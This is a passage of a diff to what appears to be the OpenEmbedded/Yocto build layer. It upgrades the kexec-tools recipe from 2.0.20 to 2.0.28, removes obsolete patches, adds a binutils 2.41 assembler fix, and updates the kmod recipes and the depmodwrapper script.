- return 0;
- }
-+#ifdef __ILP32__
-+ if (ehdr->ei_class != ELFCLASS32) {
-+#else
- if (ehdr->ei_class != ELFCLASS64) {
-+#endif
- return 0;
- }
- if (ehdr->e_machine != EM_X86_64) {
-diff --git a/kexec/kexec-syscall.h b/kexec/kexec-syscall.h
-index dac1c1f..e9479b7 100644
---- a/kexec/kexec-syscall.h
-+++ b/kexec/kexec-syscall.h
-@@ -31,8 +31,12 @@
- #define __NR_kexec_load 268
- #endif
- #ifdef __x86_64__
-+#ifdef __ILP32__
-+#define __NR_kexec_load 528
-+#else
- #define __NR_kexec_load 246
- #endif
-+#endif
- #ifdef __s390x__
- #define __NR_kexec_load 277
- #endif
-diff --git a/purgatory/arch/x86_64/Makefile b/purgatory/arch/x86_64/Makefile
-index 7300937..4af11e4 100644
---- a/purgatory/arch/x86_64/Makefile
-+++ b/purgatory/arch/x86_64/Makefile
-@@ -23,4 +23,6 @@ x86_64_PURGATORY_SRCS += purgatory/arch/i386/console-x86.c
- x86_64_PURGATORY_SRCS += purgatory/arch/i386/vga.c
- x86_64_PURGATORY_SRCS += purgatory/arch/i386/pic.c
-
--x86_64_PURGATORY_EXTRA_CFLAGS = -mcmodel=large
-+ifeq ($(SUBARCH),64)
-+ x86_64_PURGATORY_EXTRA_CFLAGS = -mcmodel=large
-+endif
diff --git a/meta/recipes-kernel/kexec/kexec-tools/0005-Disable-PIE-during-link.patch b/meta/recipes-kernel/kexec/kexec-tools/0005-Disable-PIE-during-link.patch
index 7a4b8548ca..6a21744ac1 100644
--- a/meta/recipes-kernel/kexec/kexec-tools/0005-Disable-PIE-during-link.patch
+++ b/meta/recipes-kernel/kexec/kexec-tools/0005-Disable-PIE-during-link.patch
@@ -1,4 +1,4 @@
-From c54488ad5fd657e0f154d76d7456d9080be24836 Mon Sep 17 00:00:00 2001
+From 494888bcc3bbf070dfce1b2686ee34c8619aa33d Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sat, 10 Jun 2017 11:18:49 -0700
Subject: [PATCH] Disable PIE during link
@@ -9,15 +9,16 @@ just need to match it with linker flags
Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
---
purgatory/Makefile | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/purgatory/Makefile b/purgatory/Makefile
-index 416e6b9..f00edb4 100644
+index 6673423..a7405ea 100644
--- a/purgatory/Makefile
+++ b/purgatory/Makefile
-@@ -59,7 +59,7 @@ $(PURGATORY): CPPFLAGS=$($(ARCH)_PURGATORY_EXTRA_CFLAGS) \
+@@ -60,7 +60,7 @@ $(PURGATORY): CPPFLAGS=$($(ARCH)_PURGATORY_EXTRA_CFLAGS) \
-Iinclude \
-I$(shell $(CC) -print-file-name=include)
$(PURGATORY): LDFLAGS=$($(ARCH)_PURGATORY_EXTRA_CFLAGS)\
diff --git a/meta/recipes-kernel/kexec/kexec-tools/0006-kexec-arm-undefine-__NR_kexec_file_load-for-arm.patch b/meta/recipes-kernel/kexec/kexec-tools/0006-kexec-arm-undefine-__NR_kexec_file_load-for-arm.patch
deleted file mode 100644
index 6811dfa597..0000000000
--- a/meta/recipes-kernel/kexec/kexec-tools/0006-kexec-arm-undefine-__NR_kexec_file_load-for-arm.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From b54816eff272324320c490d62dc36b27d2838732 Mon Sep 17 00:00:00 2001
-From: Quanyang Wang <quanyang.wang@windriver.com>
-Date: Mon, 16 Sep 2019 10:49:05 +0800
-Subject: [PATCH] kexec/arm: undefine __NR_kexec_file_load for arm
-
-In the kernel upstream commit 4ab65ba7a5cb
-("ARM: add kexec_file_load system call number"),
-__NR_kexec_file_load for arm has been defined to be 401.
-This results that even if kexec_file_load isn't implemented
-for arm but the function is_kexec_file_load_implemented()
-will still return true. So undef __NR_kexec_file_load for
-arm architecture.
-
-Upstream-Status: Backport
-[https://git.kernel.org/pub/scm/utils/kernel/kexec/kexec-tools.git/commit/kexec/kexec-syscall.h?id=b54816eff272324320c490d62dc36b27d2838732]
-
-Signed-off-by: Quanyang Wang <quanyang.wang@windriver.com>
-Signed-off-by: Simon Horman <horms@verge.net.au>
----
- kexec/kexec-syscall.h | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/kexec/kexec-syscall.h b/kexec/kexec-syscall.h
-index dac1c1f..92d51d3 100644
---- a/kexec/kexec-syscall.h
-+++ b/kexec/kexec-syscall.h
-@@ -56,6 +56,10 @@
- #endif
- #endif /*ifndef __NR_kexec_load*/
-
-+#ifdef __arm__
-+#undef __NR_kexec_file_load
-+#endif
-+
- #ifndef __NR_kexec_file_load
-
- #ifdef __x86_64__
---
-2.17.1
-
diff --git a/meta/recipes-kernel/kexec/kexec-tools/0007-kexec-un-break-the-build-on-32-bit-x86.patch b/meta/recipes-kernel/kexec/kexec-tools/0007-kexec-un-break-the-build-on-32-bit-x86.patch
deleted file mode 100644
index b91608e52b..0000000000
--- a/meta/recipes-kernel/kexec/kexec-tools/0007-kexec-un-break-the-build-on-32-bit-x86.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From d294c5039753a36506949ba5dc782a4c0b307b74 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 20 Dec 2019 17:21:08 +0100
-Subject: [PATCH] kexec: un-break the build on 32 bit x86
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- kexec/arch/i386/Makefile | 1 +
- kexec/arch/i386/kexec-x86.h | 4 ++++
- 2 files changed, 5 insertions(+)
-
-diff --git a/kexec/arch/i386/Makefile b/kexec/arch/i386/Makefile
-index 105cefd..25df57a 100644
---- a/kexec/arch/i386/Makefile
-+++ b/kexec/arch/i386/Makefile
-@@ -11,6 +11,7 @@ i386_KEXEC_SRCS += kexec/arch/i386/kexec-beoboot-x86.c
- i386_KEXEC_SRCS += kexec/arch/i386/kexec-nbi.c
- i386_KEXEC_SRCS += kexec/arch/i386/x86-linux-setup.c
- i386_KEXEC_SRCS += kexec/arch/i386/crashdump-x86.c
-+i386_KEXEC_SRCS += kexec/arch/i386/kexec-mb2-x86.c
-
- dist += kexec/arch/i386/Makefile $(i386_KEXEC_SRCS) \
- kexec/arch/i386/crashdump-x86.h \
-diff --git a/kexec/arch/i386/kexec-x86.h b/kexec/arch/i386/kexec-x86.h
-index 1b58c3b..d6b10c0 100644
---- a/kexec/arch/i386/kexec-x86.h
-+++ b/kexec/arch/i386/kexec-x86.h
-@@ -56,9 +56,13 @@ struct arch_options_t {
- };
-
- int multiboot_x86_probe(const char *buf, off_t len);
-+int multiboot2_x86_probe(const char *buf, off_t len);
- int multiboot_x86_load(int argc, char **argv, const char *buf, off_t len,
- struct kexec_info *info);
-+int multiboot2_x86_load(int argc, char **argv, const char *buf, off_t len,
-+ struct kexec_info *info);
- void multiboot_x86_usage(void);
-+void multiboot2_x86_usage(void);
-
- int elf_x86_probe(const char *buf, off_t len);
- int elf_x86_load(int argc, char **argv, const char *buf, off_t len,
diff --git a/meta/recipes-kernel/kexec/kexec-tools/Fix-building-on-x86_64-with-binutils-2.41.patch b/meta/recipes-kernel/kexec/kexec-tools/Fix-building-on-x86_64-with-binutils-2.41.patch
new file mode 100644
index 0000000000..4894f044fc
--- /dev/null
+++ b/meta/recipes-kernel/kexec/kexec-tools/Fix-building-on-x86_64-with-binutils-2.41.patch
@@ -0,0 +1,95 @@
+From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001
+From: Michel Lind <salimma@fedoraproject.org>
+Date: Tue, 30 Jan 2024 04:14:31 -0600
+Subject: [PATCH] Fix building on x86_64 with binutils 2.41
+
+Newer versions of the GNU assembler (observed with binutils 2.41) will
+complain about the ".arch i386" in files assembled with "as --64",
+with the message "Error: 64bit mode not supported on 'i386'".
+
+Fix by moving ".arch i386" below the relevant ".code32" directive, so
+that the assembler is no longer expecting 64-bit instructions to be used
+by the time that the ".arch i386" directive is encountered.
+
+Based on similar iPXE fix:
+https://github.com/ipxe/ipxe/commit/6ca597eee
+
+Signed-off-by: Michel Lind <michel@michel-slm.name>
+Signed-off-by: Simon Horman <horms@kernel.org>
+
+Upstream-Status: Backport [https://git.kernel.org/pub/scm/utils/kernel/kexec/kexec-tools.git/commit/?h=main&id=328de8e00e298f00d7ba6b25dc3950147e9642e6]
+Signed-off-by: Yoann Congal <yoann.congal@smile.fr>
+---
+ purgatory/arch/i386/entry32-16-debug.S | 2 +-
+ purgatory/arch/i386/entry32-16.S | 2 +-
+ purgatory/arch/i386/entry32.S | 2 +-
+ purgatory/arch/i386/setup-x86.S | 2 +-
+ 4 files changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/purgatory/arch/i386/entry32-16-debug.S b/purgatory/arch/i386/entry32-16-debug.S
+index 5167944..12e1164 100644
+--- a/purgatory/arch/i386/entry32-16-debug.S
++++ b/purgatory/arch/i386/entry32-16-debug.S
+@@ -25,10 +25,10 @@
+ .globl entry16_debug_pre32
+ .globl entry16_debug_first32
+ .globl entry16_debug_old_first32
+- .arch i386
+ .balign 16
+ entry16_debug:
+ .code32
++ .arch i386
+ /* Compute where I am running at (assumes esp valid) */
+ call 1f
+ 1: popl %ebx
+diff --git a/purgatory/arch/i386/entry32-16.S b/purgatory/arch/i386/entry32-16.S
+index c051aab..eace095 100644
+--- a/purgatory/arch/i386/entry32-16.S
++++ b/purgatory/arch/i386/entry32-16.S
+@@ -20,10 +20,10 @@
+ #undef i386
+ .text
+ .globl entry16, entry16_regs
+- .arch i386
+ .balign 16
+ entry16:
+ .code32
++ .arch i386
+ /* Compute where I am running at (assumes esp valid) */
+ call 1f
+ 1: popl %ebx
+diff --git a/purgatory/arch/i386/entry32.S b/purgatory/arch/i386/entry32.S
+index f7a494f..8ce9e31 100644
+--- a/purgatory/arch/i386/entry32.S
++++ b/purgatory/arch/i386/entry32.S
+@@ -20,10 +20,10 @@
+ #undef i386
+
+ .text
+- .arch i386
+ .globl entry32, entry32_regs
+ entry32:
+ .code32
++ .arch i386
+
+ /* Setup a gdt that should that is generally usefully */
+ lgdt %cs:gdt
+diff --git a/purgatory/arch/i386/setup-x86.S b/purgatory/arch/i386/setup-x86.S
+index 201bb2c..a212eed 100644
+--- a/purgatory/arch/i386/setup-x86.S
++++ b/purgatory/arch/i386/setup-x86.S
+@@ -21,10 +21,10 @@
+ #undef i386
+
+ .text
+- .arch i386
+ .globl purgatory_start
+ purgatory_start:
+ .code32
++ .arch i386
+
+ /* Load a gdt so I know what the segment registers are */
+ lgdt %cs:gdt
+--
+2.39.2
+
diff --git a/meta/recipes-kernel/kexec/kexec-tools_2.0.20.bb b/meta/recipes-kernel/kexec/kexec-tools_2.0.20.bb
deleted file mode 100644
index 1e81ecc2c7..0000000000
--- a/meta/recipes-kernel/kexec/kexec-tools_2.0.20.bb
+++ /dev/null
@@ -1,90 +0,0 @@
-
-SUMMARY = "Kexec fast reboot tools"
-DESCRIPTION = "Kexec is a fast reboot feature that lets you reboot to a new Linux kernel"
-AUTHOR = "Eric Biederman"
-HOMEPAGE = "http://kernel.org/pub/linux/utils/kernel/kexec/"
-SECTION = "kernel/userland"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=ea5bed2f60d357618ca161ad539f7c0a \
- file://kexec/kexec.c;beginline=1;endline=20;md5=af10f6ae4a8715965e648aa687ad3e09"
-DEPENDS = "zlib xz"
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/utils/kernel/kexec/kexec-tools-${PV}.tar.gz \
- file://kdump \
- file://kdump.conf \
- file://kdump.service \
- file://0001-powerpc-change-the-memory-size-limit.patch \
- file://0002-purgatory-Pass-r-directly-to-linker.patch \
- file://0003-kexec-ARM-Fix-add_buffer_phys_virt-align-issue.patch \
- file://0004-x86_64-Add-support-to-build-kexec-tools-with-x32-ABI.patch \
- file://0005-Disable-PIE-during-link.patch \
- file://0006-kexec-arm-undefine-__NR_kexec_file_load-for-arm.patch \
- file://0007-kexec-un-break-the-build-on-32-bit-x86.patch \
- file://0001-kexec-Fix-build-with-fno-common.patch \
- "
-
-SRC_URI[md5sum] = "46724b67f32501c5d3e778161347cad9"
-SRC_URI[sha256sum] = "cb16d79818e0c9de3bb3e33ede5677c34a1d28c646379c7ab44e0faa3eb57a16"
-
-inherit autotools update-rc.d systemd
-
-export LDFLAGS = "-L${STAGING_LIBDIR}"
-EXTRA_OECONF = " --with-zlib=yes"
-
-do_compile_prepend() {
- # Remove the prepackaged config.h from the source tree as it overrides
- # the same file generated by configure and placed in the build tree
- rm -f ${S}/include/config.h
-
- # Remove the '*.d' file to make sure the recompile is OK
- for dep in `find ${B} -type f -name '*.d'`; do
- dep_no_d="`echo $dep | sed 's#.d$##'`"
- # Remove file.d when there is a file.o
- if [ -f "$dep_no_d.o" ]; then
- rm -f $dep
- fi
- done
-}
-
-do_install_append () {
- install -d ${D}${sysconfdir}/sysconfig
- install -m 0644 ${WORKDIR}/kdump.conf ${D}${sysconfdir}/sysconfig
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
- install -D -m 0755 ${WORKDIR}/kdump ${D}${sysconfdir}/init.d/kdump
- fi
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -D -m 0755 ${WORKDIR}/kdump ${D}${libexecdir}/kdump-helper
- install -D -m 0644 ${WORKDIR}/kdump.service ${D}${systemd_unitdir}/system/kdump.service
- sed -i -e 's,@LIBEXECDIR@,${libexecdir},g' ${D}${systemd_unitdir}/system/kdump.service
- fi
-}
-
-PACKAGES =+ "kexec kdump vmcore-dmesg"
-
-ALLOW_EMPTY_${PN} = "1"
-RRECOMMENDS_${PN} = "kexec kdump vmcore-dmesg"
-
-FILES_kexec = "${sbindir}/kexec"
-FILES_kdump = "${sbindir}/kdump \
- ${sysconfdir}/sysconfig/kdump.conf \
- ${sysconfdir}/init.d/kdump \
- ${libexecdir}/kdump-helper \
- ${systemd_unitdir}/system/kdump.service \
-"
-
-FILES_vmcore-dmesg = "${sbindir}/vmcore-dmesg"
-
-INITSCRIPT_PACKAGES = "kdump"
-INITSCRIPT_NAME_kdump = "kdump"
-INITSCRIPT_PARAMS_kdump = "start 56 2 3 4 5 . stop 56 0 1 6 ."
-
-SYSTEMD_PACKAGES = "kdump"
-SYSTEMD_SERVICE_kdump = "kdump.service"
-
-SECURITY_PIE_CFLAGS_remove = "-fPIE -pie"
-
-COMPATIBLE_HOST = '(x86_64.*|i.86.*|arm.*|aarch64.*|powerpc.*|mips.*)-(linux|freebsd.*)'
-
-INSANE_SKIP_${PN} = "arch"
diff --git a/meta/recipes-kernel/kexec/kexec-tools_2.0.28.bb b/meta/recipes-kernel/kexec/kexec-tools_2.0.28.bb
new file mode 100644
index 0000000000..dec821ea88
--- /dev/null
+++ b/meta/recipes-kernel/kexec/kexec-tools_2.0.28.bb
@@ -0,0 +1,86 @@
+
+SUMMARY = "Kexec fast reboot tools"
+DESCRIPTION = "Kexec is a fast reboot feature that lets you reboot to a new Linux kernel"
+HOMEPAGE = "http://kernel.org/pub/linux/utils/kernel/kexec/"
+SECTION = "kernel/userland"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=ea5bed2f60d357618ca161ad539f7c0a \
+ file://kexec/kexec.c;beginline=1;endline=20;md5=af10f6ae4a8715965e648aa687ad3e09"
+DEPENDS = "zlib xz"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/utils/kernel/kexec/kexec-tools-${PV}.tar.gz \
+ file://kdump \
+ file://kdump.conf \
+ file://kdump.service \
+ file://0001-powerpc-change-the-memory-size-limit.patch \
+ file://0002-purgatory-Pass-r-directly-to-linker.patch \
+ file://0003-kexec-ARM-Fix-add_buffer_phys_virt-align-issue.patch \
+ file://0005-Disable-PIE-during-link.patch \
+ file://0001-arm64-kexec-disabled-check-if-kaslr-seed-dtb-propert.patch \
+ file://Fix-building-on-x86_64-with-binutils-2.41.patch \
+ "
+
+SRC_URI[sha256sum] = "f33d2660b3e38d25a127e87097978e0f7a9a73ab5151a29eb80974d169ff6a29"
+
+inherit autotools update-rc.d systemd
+
+export LDFLAGS = "-L${STAGING_LIBDIR}"
+EXTRA_OECONF = " --with-zlib=yes"
+
+do_compile:prepend() {
+ # Remove the prepackaged config.h from the source tree as it overrides
+ # the same file generated by configure and placed in the build tree
+ rm -f ${S}/include/config.h
+
+ # Remove the '*.d' file to make sure the recompile is OK
+ for dep in `find ${B} -type f -name '*.d'`; do
+ dep_no_d="`echo $dep | sed 's#.d$##'`"
+ # Remove file.d when there is a file.o
+ if [ -f "$dep_no_d.o" ]; then
+ rm -f $dep
+ fi
+ done
+}
+
+do_install:append () {
+ install -d ${D}${sysconfdir}/sysconfig
+ install -m 0644 ${WORKDIR}/kdump.conf ${D}${sysconfdir}/sysconfig
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
+ install -D -m 0755 ${WORKDIR}/kdump ${D}${sysconfdir}/init.d/kdump
+ fi
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
+ install -D -m 0755 ${WORKDIR}/kdump ${D}${libexecdir}/kdump-helper
+ install -D -m 0644 ${WORKDIR}/kdump.service ${D}${systemd_system_unitdir}/kdump.service
+ sed -i -e 's,@LIBEXECDIR@,${libexecdir},g' ${D}${systemd_system_unitdir}/kdump.service
+ fi
+}
+
+PACKAGES =+ "kexec kdump vmcore-dmesg"
+
+ALLOW_EMPTY:${PN} = "1"
+RRECOMMENDS:${PN} = "kexec kdump vmcore-dmesg"
+
+FILES:kexec = "${sbindir}/kexec"
+FILES:kdump = "${sbindir}/kdump \
+ ${sysconfdir}/sysconfig/kdump.conf \
+ ${sysconfdir}/init.d/kdump \
+ ${libexecdir}/kdump-helper \
+ ${systemd_system_unitdir}/kdump.service \
+"
+
+FILES:vmcore-dmesg = "${sbindir}/vmcore-dmesg"
+
+INITSCRIPT_PACKAGES = "kdump"
+INITSCRIPT_NAME:kdump = "kdump"
+INITSCRIPT_PARAMS:kdump = "start 56 2 3 4 5 . stop 56 0 1 6 ."
+
+SYSTEMD_PACKAGES = "kdump"
+SYSTEMD_SERVICE:kdump = "kdump.service"
+
+SECURITY_PIE_CFLAGS:remove = "-fPIE -pie"
+
+COMPATIBLE_HOST = '(x86_64.*|i.86.*|arm.*|aarch64.*|powerpc.*|mips.*)-(linux|freebsd.*)'
+
+INSANE_SKIP:${PN} = "arch"
diff --git a/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb b/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
index 9a172675af..6c0739d64f 100644
--- a/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
+++ b/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
@@ -21,20 +21,29 @@ do_install() {
#!/bin/sh
# Expected to be called as: depmodwrapper -a KERNEL_VERSION
if [ "\$1" != "-a" -o "\$2" != "-b" ]; then
- echo "Usage: depmodwrapper -a -b rootfs KERNEL_VERSION" >&2
+ echo "Usage: depmodwrapper -a -b rootfs KERNEL_VERSION [KERNEL_PACKAGE_NAME]" >&2
exit 1
fi
+kernelpkgname="kernel"
+# If no KERNEL_PACKAGE_NAME, assume "kernel".
+[ -z "\$5" ] || kernelpkgname="\$5"
+
kernelabi=""
-if [ -r "${PKGDATA_DIR}/kernel-depmod/kernel-abiversion" ]; then
- kernelabi=\$(cat "${PKGDATA_DIR}/kernel-depmod/kernel-abiversion")
+if [ -r "${PKGDATA_DIR}/\${kernelpkgname}-depmod/\${kernelpkgname}-abiversion" ]; then
+ kernelabi=\$(cat "${PKGDATA_DIR}/\${kernelpkgname}-depmod/\${kernelpkgname}-abiversion")
+fi
+
+if [ ! -e "\$3${nonarch_base_libdir}/depmod.d/exclude.conf" ]; then
+ mkdir -p "\$3${nonarch_base_libdir}/depmod.d"
+ echo "exclude .debug" > "\$3${nonarch_base_libdir}/depmod.d/exclude.conf"
fi
-if [ ! -r ${PKGDATA_DIR}/kernel-depmod/System.map-\$4 ] || [ "\$kernelabi" != "\$4" ]; then
- echo "Unable to read: ${PKGDATA_DIR}/kernel-depmod/System.map-\$4" >&2
- exec env depmod "\$1" "\$2" "\$3" "\$4"
+if [ ! -r ${PKGDATA_DIR}/\${kernelpkgname}-depmod/System.map-\$4 ] || [ "\$kernelabi" != "\$4" ]; then
+ echo "Unable to read: ${PKGDATA_DIR}/\${kernelpkgname}-depmod/System.map-\$4" >&2
+ exec env depmod -C "\$3${nonarch_base_libdir}/depmod.d" "\$1" "\$2" "\$3" "\$4"
else
- exec env depmod "\$1" "\$2" "\$3" -F "${PKGDATA_DIR}/kernel-depmod/System.map-\$4" "\$4"
+ exec env depmod -C "\$3${nonarch_base_libdir}/depmod.d" "\$1" "\$2" "\$3" -F "${PKGDATA_DIR}/\${kernelpkgname}-depmod/System.map-\$4" "\$4"
fi
EOF
chmod +x ${D}${bindir_crossscripts}/depmodwrapper
diff --git a/meta/recipes-kernel/kmod/kmod-native_git.bb b/meta/recipes-kernel/kmod/kmod-native_git.bb
deleted file mode 100644
index f61134bbaf..0000000000
--- a/meta/recipes-kernel/kmod/kmod-native_git.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-# Copyright (C) 2012 Khem Raj <raj.khem@gmail.com>
-# Released under the MIT license (see COPYING.MIT for the terms)
-
-require kmod.inc
-
-DEPENDS += "zlib-native"
-
-inherit native
-
-do_install_append (){
- for tool in depmod insmod lsmod modinfo modprobe rmmod
- do
- ln -s kmod ${D}${bindir}/$tool
- done
-}
diff --git a/meta/recipes-kernel/kmod/kmod.inc b/meta/recipes-kernel/kmod/kmod.inc
deleted file mode 100644
index edff191700..0000000000
--- a/meta/recipes-kernel/kmod/kmod.inc
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2012 Khem Raj <raj.khem@gmail.com>
-# Released under the MIT license (see COPYING.MIT for the terms)
-
-SUMMARY = "Tools for managing Linux kernel modules"
-DESCRIPTION = "kmod is a set of tools to handle common tasks with Linux kernel modules like \
- insert, remove, list, check properties, resolve dependencies and aliases."
-HOMEPAGE = "http://packages.profusion.mobi/kmod/"
-LICENSE = "GPL-2.0+ & LGPL-2.1+"
-LICENSE_libkmod = "LGPL-2.1+"
-SECTION = "base"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
- file://libkmod/COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
- "
-inherit autotools gtk-doc pkgconfig manpages
-
-SRCREV = "819a125ca756003dce2d11624035b7fb605a8e99"
-# Lookout for PV bump too when SRCREV is changed
-PV = "27"
-
-SRC_URI = "git://git.kernel.org/pub/scm/utils/kernel/kmod/kmod.git \
- file://depmod-search.conf \
- file://avoid_parallel_tests.patch \
- "
-
-S = "${WORKDIR}/git"
-
-EXTRA_AUTORECONF += "--install --symlink"
-EXTRA_OECONF +=" --enable-tools --with-zlib"
-
-PACKAGECONFIG[debug] = "--enable-debug,--disable-debug"
-PACKAGECONFIG[logging] = " --enable-logging,--disable-logging"
-PACKAGECONFIG[manpages] = "--enable-manpages, --disable-manpages, libxslt-native xmlto-native"
-PACKAGECONFIG[xz] = "--with-xz,--without-xz,xz"
-PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl"
-
-GTKDOC_DOCDIR = "${S}/libkmod/docs"
diff --git a/meta/recipes-kernel/kmod/kmod/0001-Use-portable-implementation-for-basename-API.patch b/meta/recipes-kernel/kmod/kmod/0001-Use-portable-implementation-for-basename-API.patch
new file mode 100644
index 0000000000..6a7f9ded4f
--- /dev/null
+++ b/meta/recipes-kernel/kmod/kmod/0001-Use-portable-implementation-for-basename-API.patch
@@ -0,0 +1,136 @@
+From 721ed6040c7aa47070faf6378c433089e178bd43 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 9 Dec 2023 17:35:59 -0800
+Subject: [PATCH] Use portable implementation for basename API
+
+musl has removed the non-prototype declaration of basename from
+string.h [1] which now results in build errors with clang-17+ compiler
+
+Implement GNU basename behavior using strchr which is portable across libcs
+
+Fixes
+../git/tools/kmod.c:71:19: error: call to undeclared function 'basename'; ISO C99 and later do not support implicit function declarations [-Wimplicit-function-declaration]
+71 | "Commands:\n", basename(argv[0]));
+| ^
+
+[1] https://git.musl-libc.org/cgit/musl/commit/?id=725e17ed6dff4d0cd22487bb64470881e86a92e7
+
+Upstream-Status: Submitted [https://github.com/kmod-project/kmod/pull/32]
+
+Suggested-by: Rich Felker
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ libkmod/libkmod-config.c | 2 +-
+ shared/util.c | 4 ++--
+ shared/util.h | 7 +++++++
+ testsuite/testsuite.c | 2 +-
+ tools/depmod.c | 2 +-
+ tools/kmod.c | 4 ++--
+ 6 files changed, 14 insertions(+), 7 deletions(-)
+
+diff --git a/libkmod/libkmod-config.c b/libkmod/libkmod-config.c
+index e83621b..8aa555a 100644
+--- a/libkmod/libkmod-config.c
++++ b/libkmod/libkmod-config.c
+@@ -794,7 +794,7 @@ static int conf_files_insert_sorted(struct kmod_ctx *ctx,
+ bool is_single = false;
+
+ if (name == NULL) {
+- name = basename(path);
++ name = gnu_basename(path);
+ is_single = true;
+ }
+
+diff --git a/shared/util.c b/shared/util.c
+index e2bab83..0e16670 100644
+--- a/shared/util.c
++++ b/shared/util.c
+@@ -172,9 +172,9 @@ char *modname_normalize(const char *modname, char buf[static PATH_MAX], size_t *
+
+ char *path_to_modname(const char *path, char buf[static PATH_MAX], size_t *len)
+ {
+- char *modname;
++ const char *modname;
+
+- modname = basename(path);
++ modname = gnu_basename(path);
+ if (modname == NULL || modname[0] == '\0')
+ return NULL;
+
+diff --git a/shared/util.h b/shared/util.h
+index c4a3916..073dc5a 100644
+--- a/shared/util.h
++++ b/shared/util.h
+@@ -5,6 +5,7 @@
+ #include <stdbool.h>
+ #include <stdlib.h>
+ #include <stdio.h>
++#include <string.h>
+ #include <sys/types.h>
+ #include <sys/stat.h>
+ #include <time.h>
+@@ -76,6 +77,12 @@ do { \
+ __p->__v = (val); \
+ } while(0)
+
++static _always_inline_ const char *gnu_basename(const char *s)
++{
++ const char *p = strrchr(s, '/');
++ return p ? p+1 : s;
++}
++
+ static _always_inline_ unsigned int ALIGN_POWER2(unsigned int u)
+ {
+ return 1 << ((sizeof(u) * 8) - __builtin_clz(u - 1));
+diff --git a/testsuite/testsuite.c b/testsuite/testsuite.c
+index 318343a..aafc987 100644
+--- a/testsuite/testsuite.c
++++ b/testsuite/testsuite.c
+@@ -70,7 +70,7 @@ static void help(void)
+
+ printf("Usage:\n"
+ "\t%s [options] <test>\n"
+- "Options:\n", basename(progname));
++ "Options:\n", gnu_basename(progname));
+
+ for (itr = options, itr_short = options_short;
+ itr->name != NULL; itr++, itr_short++)
+diff --git a/tools/depmod.c b/tools/depmod.c
+index 43fc354..cfb15b1 100644
+--- a/tools/depmod.c
++++ b/tools/depmod.c
+@@ -762,7 +762,7 @@ static int cfg_files_insert_sorted(struct cfg_file ***p_files, size_t *p_n_files
+ if (name != NULL)
+ namelen = strlen(name);
+ else {
+- name = basename(dir);
++ name = gnu_basename(dir);
+ namelen = strlen(name);
+ dirlen -= namelen + 1;
+ }
+diff --git a/tools/kmod.c b/tools/kmod.c
+index 55689c0..df91e5c 100644
+--- a/tools/kmod.c
++++ b/tools/kmod.c
+@@ -68,7 +68,7 @@ static int kmod_help(int argc, char *argv[])
+ "Options:\n"
+ "\t-V, --version show version\n"
+ "\t-h, --help show this help\n\n"
+- "Commands:\n", basename(argv[0]));
++ "Commands:\n", gnu_basename(argv[0]));
+
+ for (i = 0; i < ARRAY_SIZE(kmod_cmds); i++) {
+ if (kmod_cmds[i]->help != NULL) {
+@@ -156,7 +156,7 @@ static int handle_kmod_compat_commands(int argc, char *argv[])
+ const char *cmd;
+ size_t i;
+
+- cmd = basename(argv[0]);
++ cmd = gnu_basename(argv[0]);
+
+ for (i = 0; i < ARRAY_SIZE(kmod_compat_cmds); i++) {
+ if (streq(kmod_compat_cmds[i]->name, cmd))
+--
+2.43.0
+
diff --git a/meta/recipes-kernel/kmod/kmod/gtkdocdir.patch b/meta/recipes-kernel/kmod/kmod/gtkdocdir.patch
new file mode 100644
index 0000000000..a34ea466e8
--- /dev/null
+++ b/meta/recipes-kernel/kmod/kmod/gtkdocdir.patch
@@ -0,0 +1,33 @@
+From dd59095f70f774f6d1e767010e25b35ef6db4c4b Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Fri, 8 Dec 2023 22:35:45 +0000
+Subject: [PATCH] configure: set docdir in GTK_DOC_CHECK
+
+By passing --docdir in the GTK_DOC_CHECK arguments (to match
+autogen.sh) autoreconf will work out of the box.
+
+Without this autoreconf fails due to the documentation not being in
+./docs, the default location.
+
+Upstream-Status: Submitted [https://lore.kernel.org/linux-modules/20231208224511.1363066-1-ross.burton@arm.com/T/#u]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+---
+ configure.ac | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/configure.ac b/configure.ac
+index de01e08..67696c4 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -255,7 +255,7 @@ AS_IF([test "x$enable_coverage" = "xyes"], [
+ AM_CONDITIONAL([ENABLE_COVERAGE], [test "x$enable_coverage" = "xyes"])
+
+ m4_ifdef([GTK_DOC_CHECK], [
